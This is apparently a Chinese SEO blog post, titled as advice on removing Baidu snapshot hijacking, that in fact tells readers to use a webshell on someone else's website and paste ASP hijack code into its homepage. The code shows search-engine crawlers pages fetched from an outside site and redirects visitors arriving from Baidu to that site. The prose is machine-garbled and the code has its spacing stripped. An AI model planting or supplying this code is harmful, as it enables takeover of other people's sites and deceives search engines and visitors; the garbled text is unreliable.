百度快照绑架怎样删去

优化家 • 2022年5月31日 21:24 • SEO操作 • 阅读 287

这个就是快照绑架只需对方网站更新了那么就是你的网站要害字经过百度打开会进入你的网站

百度快照绑架
咱们先进入这个站的webshell
webshell简略来说就是网站控制权，是他人的网站。index.asp一般ASP主页是index就是主页记住代码是放到的上下代码咱们确保都是最新的，代码经常会过期用不了，或许被屏蔽。咱们会一向供给最新的代码免费的更新
webshell
ASP绑架代码
<%
functionGetBot()
\'查询蜘蛛
dims_agent
GetBot=/\"/\"
s_agent=Request.ServerVariables(/\"HTTP_USER_AGENT/\")\'要害判别句子
ifinstr(1,s_agent,/\"googlebot/\",1)>0then
GetBot=/\"google/\"
endif
ifinstr(1,s_agent,/\"msnbot/\",1)>0then
GetBot=/\"MSN/\"
endif
ifinstr(1,s_agent,/\"slurp/\",1)>0then
GetBot=/\"Yahoo/\"
endif
ifinstr(1,s_agent,/\"baiduspider/\",1)>0then
GetBot=/\"baidu/\"
endif
ifinstr(1,s_agent,/\"sohu-search/\",1)>0then
GetBot=/\"Sohu/\"
endif
ifinstr(1,s_agent,/\"lycos/\",1)>0then
GetBot=/\"Lycos/\"
endif
ifinstr(1,s_agent,/\"robozilla/\",1)>0then
GetBot=/\"Robozilla/\"
endif
endfunction
FunctiongetHTTPPage(Path)
t=GetBody(Path)
getHTTPPage=BytesToBstr(t,/\"GB2312/\")\'编码
Endfunction
FunctionNewstring(wstr,strng)
Newstring=Instr(lcase(wstr),lcase(strng))
ifNewstring<=0thenNewstring=Len(wstr)
EndFunction
FunctionGetBody(url)
onerrorresumenext
SetRetrieval=CreateObject(/\"Microsoft.XMLHTTP/\")
WithRetrieval
.Open/\"Get/\",url,False,/\"/\",/\"/\"
.Send
GetBody=.ResponseBody
EndWith
SetRetrieval=Nothing
EndFunction
FunctionBytesToBstr(body,Cset)
dimobjstream
setobjstream=Server.CreateObject(/\"adodb.stream/\")
objstream.Type=1
objstream.Mode=3
objstream.Open
objstream.Writebody
objstream.Position=0
objstream.Type=2
objstream.Charset=Cset
BytesToBstr=objstream.ReadText
objstream.Close
setobjstream=nothing
EndFunction
Dimwstr,str,url,start,over,dtime
ifGetBot=/\"baidu/\"then
url=/\"http://www.55um.com//\"
wstr=getHTTPPage(url)
body=wstr
response.write/\"/\"&body&/\"/\"
response.end
elseifGetBot=/\"google/\"then
url=/\"http://www.55um.com//\"
wstr=getHTTPPage(url)
body=wstr
response.write/\"/\"&body&/\"/\"
response.end
endif
ifinstr(Request.ServerVariables(/\"http_referer/\"),/\"www.baidu.com/\")>0then
response.redirect(/\"http://www.55um.com//\")
endif
%>